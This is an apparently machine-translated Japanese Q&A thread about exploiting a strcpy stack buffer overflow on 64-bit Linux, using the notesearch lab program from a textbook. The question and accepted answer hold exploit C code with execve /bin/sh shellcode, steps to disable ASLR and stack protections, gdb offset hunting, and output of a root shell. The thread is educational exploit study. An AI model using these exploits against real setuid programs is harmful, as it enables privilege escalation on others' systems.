2016-11-17 7 views
1

私は基本的にバッファオーバーフロー攻撃を実行しようとしています。私がいる問題は、64ビットのLinuxでリターンです バッファオーバーフローが64ビットでstrcpyで

  • リターンアドレス
  • を実行するために

    1. いやそり
    2. シェルコード:私たちは3つの部分を必要と理解した内容に基づいてアドレスは0x00007fffffffdcf2のようなものです。 Strcpyでは、ヌル文字が見える場合、コピーを停止します。だから、基本的には最後に私endupこのような何かを持つ:

      0x7fffffffe233: 0x9090909090909090 0x9090909090909090 
      0x7fffffffe243: 0x9090909090909090 0x9090909090909090 
      0x7fffffffe253: 0x9090909090909090 0x9090909090909090 
      0x7fffffffe263: 0x9090909090909090 0x9090909090909090 
      0x7fffffffe273: 0xb099c931db31c031 0x6851580b6a80cda4 
      0x7fffffffe283: 0x69622f6868732f2f 0x8953e28951e3896e 
      0x7fffffffe293: 0x909090909080cde1 0x43007fffffffdcf2 <<< This line 
      

      あなたの代わりに

      0x00007fffffffdcf2 
      

      の最後の8つのバイトを見れば、私たちは、私は仮定してい

      0x43007fffffffdcf2 
      

      を持っています43は最初のゴミデータです。ですから、基本的にこれを克服する方法があるのでしょうか、またはバッファオーバーフロー攻撃はstrcpy関数の64ビットシステムでは動作しませんか?

      これは、(本搾取の芸術オフに基づいて)私のコードです:

      #include <stdio.h> 
      #include <stdlib.h> 
      #include <string.h> 
      #include <stdint.h> 
      #include <unistd.h> 
      
      char shellcode[]= 
      "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
      "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
      "\xe1\xcd\x80\x90\x90\x90\x90\x90"; 
      
      int main(int argc, char *argv[]) { 
          uint64_t i; 
          uint64_t ret; 
          uint64_t offset=270; 
          char *command, *buffer, *test; 
      
          command = (char *) malloc(200); 
          test = (char *)malloc(200); 
          bzero(command, 200); // zero out the new memory 
      
          strcpy(command, "./notesearch \'"); // start command buffer 
          buffer = command + strlen(command); // set buffer at the end 
      
          if(argc > 1) // set offset 
            offset = atoi(argv[1]); 
      
          ret = ((uint64_t)(&i)- offset); // set return address 
      
          for(i=0; i < 200; i+=8) // fill buffer with return address 
            memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8); 
          memset(buffer, 0x90, 64); // build NOP sled 
          memcpy(buffer+64, shellcode, sizeof(shellcode)-1); 
      
           strcat(command, "\'"); 
      
      
          system(command); // run exploit 
      
      } 
      

      すべてのヘルプは大歓迎されます。

    +0

    正確なアドレスを知っていれば、ノップスレッドは必要ありません。あなたのリターンアドレスは常に同じですか(ASLRなし)ですか?通常のLinuxでは、あなたのアドレスは多かれ少なかれランダムである(ページの先頭からのオフセットはおそらくはノー)ので、別の実行ではあなたのアドレスはゼロで始まらないかもしれない。 – 12431234123412341234123

    +0

    計算がオフになっている可能性があります。戻りアドレスが '0x7fffffffe29b'に格納されることはほとんどありません。それは認められるはずです。 – eddiem

    +0

    @eddiem 0x7fffffffe29bがどこから届いているのですか?私が指摘しているアドレスは、0x00007fffffffdcf2です。 – CPSProgrammer

    答えて

    0

    サンプルコードを変更して、書籍のnotesearchプログラムで64ビットで動作させることができました。

    最新のOSやビルドツールの保護の多くは、これが機能するためにはオフにする必要がありますが、明らかに教育的な目的のため、今のところ合理的です。

    まず、使用してシステム上のASLRをオフにします、これはルートとして行われなければならない、とsudoだけechoコマンドに適用されますので、それは、sudoでは動作しません

    echo 0 > /proc/sys/kernel/randomize_va_space 
    

    リダイレクトではありません。ちょうどsudo -i、それからそれを実行してください。

    次に、notesearchプログラムは、2つの重要な安全保護機能を無効にしてコンパイルする必要があります。デフォルトでは、スタックからコードを実行する正当な理由は通常ないので、プログラムはスタックオーバーフローの検出のためのスタックカヌーリーと、実行不能なスタックのために構築されます。今

    gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c 
    

    、エクスプロイトコード:

    #include <stdio.h> 
    #include <stdlib.h> 
    #include <string.h> 
    #include <stdint.h> 
    #include <unistd.h> 
    
    char shellcode[]= 
    "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53" 
    "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; 
    
    int main(int argc, char *argv[]) { 
        char *command, *buffer; 
        command = (char *) malloc(200); 
        bzero(command, 200); // zero out the new memory 
    
        strcpy(command, "./notesearch  \'"); // start command buffer 
        buffer = command + strlen(command); // set buffer at the end 
    
        memset(buffer, 'A', 0x78); // Fill buffer up to return address 
        *(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0; 
        memcpy(buffer, shellcode, sizeof(shellcode)-1); 
    
        strcat(command, "\'"); 
    
        system(command); // run exploit 
    } 
    

    この問題はありませんのでNOPスレッドを必要としない、シンプルな戻りアドレスの上書きに絞り込むことができます。さらに、元のポストのシェルコードは32ビット版のみでした。私が使用した64ビットシェルコードはhttp://shell-storm.org/shellcode/files/shellcode-806.phpです。

    大きな質問:0x780x7fffffffe1c0はどこから来たのですか?何を使うべきか分からなかったので、私は0x78よりも大きな数字で始めました。私は目標バッファよりも大きかったので、私はちょうど175を推測しました。最初の反復には次のような行がありました。

    これを試してみましょう。テスト中は、成功したコアダンプを容易にするために、setuidでないバージョンのnotesearchを使用しました。

    ulimit -c unlimited 
    gcc myexp.c 
    ./a.out 
    

    notesearchプログラムがクラッシュしてコアファイル作成:

    ​​

    gdb ./notesearch coreショーの実行:

    Program terminated with signal SIGSEGV, Segmentation fault. 
    #0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35 
    35 } 
    (gdb) 
    

    グッド。それはクラッシュした。どうして?

    (gdb) x/1i $rip 
    => 0x4008e7 <main+158>: retq 
    (gdb) x/1gx $rsp 
    0x7fffffffe1e8: 0x4141414141414141 
    (gdb) 
    

    私たちの制御されたアドレス(すべてのA)に戻ろうとしています。良い。私たちの制御された文字列(searchstring)からのオフセットは返信先を指していますか?

    (gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring 
    $1 = 0x78 
    (gdb) 
    

    は、だから今、私たちは、これらの変更で、もう一度試してください。

    memset(buffer, 'A', 0x78); // Fill buffer up to return address 
    *(unsigned long long*)(buffer+0x78) = 0x4242424242424242; 
    

    はここでも、コア・ダンプを取得します。それを分析すると、

    Program terminated with signal SIGSEGV, Segmentation fault. 
    #0 0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35 
    35 } 
    (gdb) x/1i $rip 
    => 0x4008e7 <main+158>: retq 
    (gdb) x/1gx $rsp 
    0x7fffffffe238: 0x4242424242424242 
    (gdb) 
    

    が表示されます。今、B群の代わりに何を入れたいのですか?シェルコードの適切な範囲のスタックを探します(0xbb48c031は、シェルコードバッファの最初の4バイトに対応するDWORDです)。下の3桁をマスクして、ページの先頭から開始してください。

    (gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031 
    0x7fffffffe1c0 
    1 pattern found. 
    (gdb) 
    

    私たちのシェルコードは、0x7fffffffe1c0のスタックに存在します。これが私たちの希望するリターンアドレスです。この情報を使用してコードを更新し、再びnotesearchのsetuid rootを作り、我々が得る:

    deb82:~/notesearch$ whoami 
    user 
    deb82:~/notesearch$ ./a.out 
    [DEBUG] found a 15 byte note for user id 1000 
    -------[ end of note data ]------- 
    # whoami 
    root 
    # 
    

    セットアップであるが、最も可能性が高いと私は提供されたコードが動作する可能性があり、あなたはおそらく同様の経路をたどる必要があります使用する正しいオフセットを取得します。

    +0

    答えをありがとう。しかし、0x7fffffffe1c0は64ビットアドレスではありません。その唯一の48ビット(そこには12ビットの16進数があり、合計48ビットです)。 Gdbは64ビットアドレスを48ビットとして表示して読みやすくしています。 gdbがあなたに与える実際のアドレスは0x00007fffffffe1c0です。0x7fffffffe1c0を使用していて、その8バイトの場所にガベージデータがあると、あなたはどこかにランダムに行き着くでしょうし、意図した通りにそっと動かないでしょう。 0x00007fffffffe1c0でオーバーフローした場合、最初の/ 00の後で停止します。 – CPSProgrammer

    +0

    また、クライスラーについて心配する必要はありません。クレーンは機能を離れる直前に制御されます。チェックポイントに達する前に、プログラムの制御をリダイレクトします。 – CPSProgrammer

    +0

    これは当てはまりますが、その場所にはごみがあってはいけません。返された住所が既に保存されている場所です**。 – eddiem

    関連する問題